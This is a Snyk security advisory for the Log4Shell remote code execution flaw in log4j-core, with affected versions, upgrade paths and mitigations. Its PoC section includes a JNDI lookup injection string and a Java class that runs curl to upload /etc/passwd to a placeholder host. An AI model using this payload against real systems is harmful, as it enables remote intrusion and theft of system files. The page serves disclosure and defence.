Remote Code Execution (RCE) Affecting org.apache.logging.log4j:log4j-core package, versions [2.0-beta9,2.3.1)[2.4,2.12.2)[2.13.0,2.15.0)


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Mature
EPSS
96.89% (100th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Remote Code Execution (RCE) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JAVA-ORGAPACHELOGGINGLOG4J-2314720
  • published10 Dec 2021
  • disclosed10 Dec 2021
  • creditChen Zhaojun of Alibaba Cloud Security Team

Introduced: 10 Dec 2021

CVE-2021-44228  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

Upgrade org.apache.logging.log4j:log4j-core to version 2.3.1, 2.12.2, 2.15.0 or higher.

Use this guide to scan your projects for the Log4Shell vulnerability.

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Remote Code Execution (RCE). Apache Log4j2 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.

From log4j 2.15.0, JNDI LDAP endpoints are restricted to localhost by default.

PoC

When an application uses log4j to log user input, an attacker can exploit this vulnerability, by supplying a malicious string that the application logs - for example, ${jndi:ldap://someurl/Evil}. This causes the application to execute a malicious class supplied by an attacker’s LDAP server (someurl/Evil in this example).

For example, the vulnerability can be used to inject this malicious class into an application:

public class Evil implements ObjectFactory  {
   @Override
   public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment)  throws Exception {
       Runtime.getRuntime().exec("curl -F 'file=@/etc/passw‍đ' https://someurl/upload");
       return  null;
   }
}

This causes the application to disclose the etc/passwd file on the system, and send it to a remote attacker.

Further Remediation Options

If upgrading the version is not possible, we strongly recommend to mitigate the vulnerability using one of these methods:

  • Remove JndiLookup.class from the class path (i.e: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class. While not pertinent to log4shell, consider also removing JndiManager, JMSAppender and SMTPAppender if you are not using them, as there are unconfirmed reports they could be leveraged in similar attacks in the future.
  • Partial mitigation: disable lookups via system properties or environmental variables. If you use log4j >=2.10.0, you can set the system property LOG4J_FORMAT_MSG_NO_LOOKUPS or the environmental variable Dlog4j2.formatMsgNoLookups to true. (RCE is possible in some non-default Pattern Layout configurations that use a Context Lookup or a Thread Context Map pattern.)


Upgrading your JDK versions is not enough to mitigate this vulnerability in all circumstances, as it was proven that setting the com.sun.jndi.ldap.object.trustURLCodebase property to false is not enough.
For more remediation advice, please visit the Log4j Remediation Cheat Sheet post.

Note: org.apache.logging.log4j:log4j-api was originally deemed vulnerable, but Apache maintainers have since clarified that this only affects org.apache.logging.log4j:log4j-core.

CVSS Scores

version 3.1